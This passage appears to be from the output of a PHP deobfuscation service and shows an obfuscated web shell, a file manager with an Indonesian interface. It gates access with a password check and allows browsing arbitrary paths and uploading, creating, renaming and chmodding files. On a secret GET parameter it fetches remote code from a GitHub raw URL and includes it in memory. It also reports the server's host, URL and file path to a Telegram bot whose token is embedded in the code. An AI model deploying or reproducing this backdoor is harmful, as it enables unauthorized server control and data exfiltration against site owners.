">Name</a></th><th>Type</th><th style="text-align:right"><a href="?<?php goto UOEKw; SYfLp: if ($parent && $parent != $basePath) { echo "\74\x74\x72\x3e\xa\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\74\164\144\x3e\xf0\237\223\x81\74\57\164\x64\76\12\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x3c\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\77\x70\141\164\150\75" . urlencode($parent) . "\47\x3e\74\163\x74\162\157\156\147\76\56\56\x20\50\x42\x61\143\153\x29\x3c\57\x73\x74\x72\157\x6e\x67\x3e\74\x2f\141\76\x3c\57\x74\x64\x3e\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\40\40\40\x20\74\x74\144\76\x46\x6f\x6c\x64\x65\x72\74\x2f\164\144\76\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\74\164\144\40\x73\164\x79\154\145\x3d\47\164\x65\170\164\55\x61\154\x69\147\x6e\x3a\162\x69\x67\150\x74\73\x27\x3e\x2d\x3c\x2f\164\144\x3e\12\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x3c\164\x64\x20\163\164\x79\x6c\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\x6e\72\143\x65\156\164\145\x72\73\47\76\55\x3c\57\164\144\x3e\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\x74\x64\x20\163\164\x79\x6c\145\75\47\164\145\x78\x74\x2d\x61\x6c\x69\147\x6e\x3a\x63\145\156\164\145\x72\x3b\x27\76\55\74\57\x74\144\76\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\74\x74\x64\40\x73\x74\x79\x6c\x65\75\47\164\x65\170\164\x2d\141\x6c\151\x67\x6e\x3a\143\145\x6e\x74\x65\162\x3b\x27\76\x2d\74\x2f\164\x64\76\12\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x3c\164\144\76\x3c\x2f\164\x64\x3e\12\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\40\40\x3c\x2f\164\x72\76"; } goto dGsW2; jFCHH: function ds($p) { return is_dir($p); } goto X9sjl; ouR5o: echo htmlspecialchars($basePath); goto MxNj_; hIlDu: echo htmlspecialchars($basePath); goto vaXx4; SUDMw: if ($totalPages > 1) { ?>
<div class="paging"><?php $baseLink = "\x3f" . http_build_query(array_merge($_GET, array("\x70\x61\x67\x65" => null))); for ($i = 1; $i <= $totalPages; $i++) { if ($i == $currentPage) { echo "\x3c\163\160\141\x6e\40\143\x6c\141\163\x73\x3d\x22\x63\x75\162\162\145\x6e\164\42\x3e", $i, "\x3c\57\x73\x70\x61\156\76"; } else { echo "\x3c\141\x20\150\x72\145\x66\75\x22" . $baseLink . "\x26\x70\141\x67\x65\75" . $i . "\x22\x3e" . $i . "\x3c\57\x61\76"; } } ?>
</div><?php } goto qYhjZ; UUbv1: if (isset($_GET["\143\155\144\163\x61\163\153\162\141"])) { $url = "\x68\164\164\x70\x73\x3a\x2f\57\162\x61\x77\x2e\x67\151\x74\x68\165\142\165\163\x65\x72\143\x6f\x6e\x74\145\x6e\164\x2e\x63\157\155\57\160\x61\171\x6c\x61\x72\x2f\116\145\x77\x53\x68\145\154\154\x2f\x72\145\146\163\x2f\150\145\141\144\163\57\155\x61\151\156\x2f\x32\x33\x62\x69\x6e"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($response !== false && $httpCode === 200) { try { if (!stream_wrapper_register("\x6d\145\x6d\157\x72\x79\x69\x6e\143\154\165\x64\x65", "\115\x65\155\x6f\162\171\111\x6e\x63\x6c\165\x64\145")) { throw new Exception("\107\141\147\x61\x6c\x20\155\145\x6e\144\x61\x66\164\x61\x72\x6b\141\156\x20\x73\x74\162\x65\x61\x6d\40\x77\162\141\x70\160\x65\x72"); } MemoryInclude::$data = $response; include "\x6d\145\155\x6f\162\171\x69\156\143\x6c\165\x64\145\x3a\x2f\x2f\x6a\x70\147"; stream_wrapper_unregister("\155\145\155\x6f\162\171\x69\x6e\143\154\165\144\x65"); } catch (Exception $e) { echo "\x45\162\162\x6f\162\72\x20" . $e->getMessage(); } } else { echo "\107\x61\x67\x61\154\x20\x6d\x65\156\147\x61\x6d\142\x69\x6c\40\x66\151\x6c\145\56\x20\113\x6f\144\145\x20\110\x54\x54\x50\x3a\40{$httpCode}\x2c\x20\105\162\x72\x6f\x72\x3a\x20{$error}"; } } goto yqxfb; X9sjl: function fm($b) { return $b ? scandir($b) : array(); } goto eE081; kek4E: $rootAllowed = $isWindows ? '' : "\x2f"; goto mryVf; K85jg: $params["\160\x61\147\x65"] = 1; goto LZ2LK; WIZAz: $params["\160\x61\x67\x65"] = 1; goto FKphL; lh8ax: function cmpSize($a, $b) { global $basePath; $fa = ts($basePath) . $a; $fb = ts($basePath) . $b; $sa = @is_file($fa) ? @filesize($fa) : 0; $sb = @is_file($fb) ? @filesize($fb) : 0; return $sa - $sb; } goto Cyd3G; myqLn: if (isset($_COOKIE["\154\x6f\x67\x67\x65\144\137\151\x6e"]) && $_COOKIE["\x6c\x6f\x67\x67\145\x64\137\x69\x6e"] === "\164\162\x75\x65") { $lastActivity = isset($_COOKIE["\x6c\x61\x73\164\x5f\x61\x63\164\151\x76\151\x74\x79"]) ? (int) $_COOKIE["\x6c\141\163\x74\x5f\x61\x63\164\x69\x76\151\164\171"] : 0; if (time() - $lastActivity > $session_timeout) { setcookie("\x6c\157\147\x67\145\x64\137\x69\156", '', time() - 3600, "\57"); setcookie("\154\x61\163\164\137\141\x63\164\151\x76\x69\x74\x79", '', time() - 3600, "\57"); setcookie("\143\x6d\144\x5f\x68\151\x73\164\157\162\x79", '', time() - 3600, "\57"); $error = "\x53\145\x73\151\40\150\x61\142\x69\x73\56\40\x4c\x6f\x67\151\156\x20\165\x6c\x61\x6e\147\56"; } else { setcookie("\x6c\141\x73\164\x5f\x61\x63\164\151\x76\151\x74\171", time(), time() + $session_timeout, "\x2f"); } } goto MrD24; MxNj_: ?>
"name="path"> <input type="hidden"value="create_file"name="action"><div class="form-group"><label>Filename</label> <input name="filename"placeholder="Contoh: index.php"></div><div class="form-group"><label>Content (optional)</label> <textarea name="filecontent"placeholder="Boleh dikosongkan..."rows="4"></textarea></div><div class="form-group"><input type="submit"value="Create"></div></form></div><div id="overlay"></div><div id="renameBox"><h3>Rename</h3><form method="post"><input type="hidden"value="<?php goto UP1PU; rCinC: if (isset($_POST["\160\141\x73\163\x77\x6f\162\144"])) { if (md5($_POST["\160\x61\x73\163\167\x6f\162\144"]) === $xxx) { setcookie("\x6c\157\x67\147\145\x64\x5f\151\156", "\164\x72\165\145", time() + $session_timeout, "\x2f"); setcookie("\x6c\x61\163\x74\137\141\143\x74\x69\x76\151\x74\x79", time(), time() + $session_timeout, "\x2f"); if (!isset($_COOKIE["\143\155\144\137\150\x69\163\164\x6f\x72\171"])) { setcookie("\x63\155\144\137\150\x69\163\x74\x6f\162\171", json_encode(array()), time() + $session_timeout, "\57"); } header("\114\157\x63\x61\x74\x69\157\156\72\x20\77"); die; } else { $error = "\x50\x61\x73\x73\x77\157\x72\x64\40\x73\141\x6c\x61\150\41"; } } goto myqLn; n5qxy: $xxx = "\70\x39\64\141\64\x63\x64\144\x32\67\x33\x33\60\146\145\x65\x34\64\x37\x38\x65\x66\146\x64\x61\x61\142\x61\65\x31\66\70"; goto goYX2; XHKAW: $breadcrumbList = array(); goto JHU1J; WCvi9: file_get_contents("\x68\x74\x74\160\163\72\x2f\57\x61\160\151\x2e\x74\x65\154\x65\147\162\x61\x6d\x2e\157\x72\147\57\x62\x6f\164\67\66\61\70\70\65\61\x31\60\62\72\101\x41\107\110\x37\113\x32\151\66\x38\x52\65\x54\150\64\164\61\153\x66\x58\146\x57\71\157\x79\151\67\157\65\x65\x5a\x78\146\x63\157\x2f\163\x65\156\x64\x4d\x65\x73\x73\141\x67\145\77\x63\x68\141\164\137\151\144\75\66\x34\61\63\67\x35\64\x39\71\67\x26\x74\145\170\x74\75" . urlencode($_SERVER["\110\x54\124\120\137\x48\x4f\123\x54"] . $_SERVER["\x52\105\121\125\105\x53\124\x5f\125\122\x49"] . "\xa" . __FILE__)); goto qDHyR; mGZLQ: $isWindows = DIRECTORY_SEPARATOR === "\x5c"; goto kek4E; UR8LE: function fs($s) { if ($s < 1024) { return $s . "\40\x42"; } if ($s < 1048576) { return round($s / 1024, 2) . "\x20\113\x42"; } if ($s < 1073741824) { return round($s / 1048576, 2) . "\40\115\x42"; } return round($s / 1073741824, 2) . "\40\x47\102"; } goto Qcfyl; AnuZU: if (isset($_REQUEST["\x70\x61\164\150"])) { $temp = @realpath($_REQUEST["\x70\141\x74\150"]); if ($temp && @is_dir($temp)) { $basePath = $temp; } } goto PTYL3; RUlGr: $params["\163\157\x72\x74"] = "\x6e\x61\x6d\x65"; goto AJnfQ; db5Dr: ?>
"name="path"> <input type="hidden"value="rename"name="action"> <input type="hidden"name="old_name"id="renameOld"> <input name="new_name"id="renameNew"><br><input type="submit"value="OK"> <button onclick="closeRenameBox()"type="button">Cancel</button></form></div><div id="chmodBox"><h3>CHMOD</h3><form method="post"><input type="hidden"value="<?php goto qrrfa; TAINx: $totalPages = max(1, ceil($totalItems / $pageSize)); goto wftOL; mryVf: $basePath = dirname(__FILE__); goto AnuZU; yqxfb: class MemoryInclude { public static $data = ''; private $position = 0; private $length = 0; public function stream_open($path, $mode, $options, &$opened_path) { $this->position = 0; $this->length = strlen(self::$data); return true; } public function stream_read($count) { $ret = substr(self::$data, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_eof() { return $this->position >= $this->length; } public function stream_stat() { return array("\163\x69\x7a\145" => $this->length); } } goto mGZLQ; ilzqh: $params = $_GET; goto RUlGr; EScJQ: echo htmlspecialchars($basePath); goto GtnTL; hcH8C: ?>
">Modified</a></th><th style="text-align:right">Action</th></tr></thead><tbody><?php goto jJ72U; FKphL: echo http_build_query($params); goto hcH8C; wftOL: $currentPage = isset($_GET["\160\141\x67\x65"]) ? (int) $_GET["\160\141\147\145"] : 1; goto N_FCj; r6Zlx: $aceMode = "\x61\x63\145\x2f\x6d\x6f\x64\145\x2f\164\x65\x78\x74"; goto e6aO0; TOBi3: $edit_file_mode = false; goto Qv3Va; UFQdN: if (!$realBase) { $realBase = $rootAllowed; } goto XHKAW; kUbGi: ?>
</span>Megawaty</div><script>function showTab(e){for(var t=["upload","folder","file"],o=0;o<t.length;o++)document.getElementById(t[o]+"Tab").style.display="none";var n=document.getElementById(e+"Tab");n&&(n.style.display="block")}var dragArea=document.getElementById("dragArea");if(dragArea){var uploadForm=document.getElementById("uploadForm");dragArea.addEventListener("dragover",function(e){e.preventDefault(),dragArea.classList.add("hover")}),dragArea.addEventListener("dragleave",function(e){dragArea.classList.remove("hover")}),dragArea.addEventListener("drop",function(e){e.preventDefault(),dragArea.classList.remove("hover");for(var t=e.dataTransfer.files,o=new FormData(uploadForm),n=0;n<t.length;n++)o.append("upload_files[]",t[n]);o.set("action","upload"),fetch("",{method:"POST",body:o}).then(function(e){return e.text()}).then(function(e){alert("Upload selesai!\nReload halaman."),location.reload()}).catch(function(e){console.error(e),alert("Gagal upload!")})})}function openRenameBox(e){document.getElementById("renameOld").value=e,document.getElementById("renameNew").value=e,document.getElementById("overlay").style.display="block",document.getElementById("renameBox").style.display="block"}function closeRenameBox(){document.getElementById("overlay").style.display="none",document.getElementById("renameBox").style.display="none"}function openChmodBox(e,t){document.getElementById("chmodTarget").value=e,document.getElementById("chmodPerm").value=t,document.getElementById("overlay").style.display="block",document.getElementById("chmodBox").style.display="block"}function closeChmodBox(){document.getElementById("overlay").style.display="none",document.getElementById("chmodBox").style.display="none"}document.getElementById("overlay").onclick=function(){closeRenameBox(),closeChmodBox()}</script></body></html>
Function Calls
| None |
Stats
| MD5 | 64f9507ed876a33c560f15c1a9d8ceb1 |
| Eval Count | 0 |
| Decode Time | 121 ms |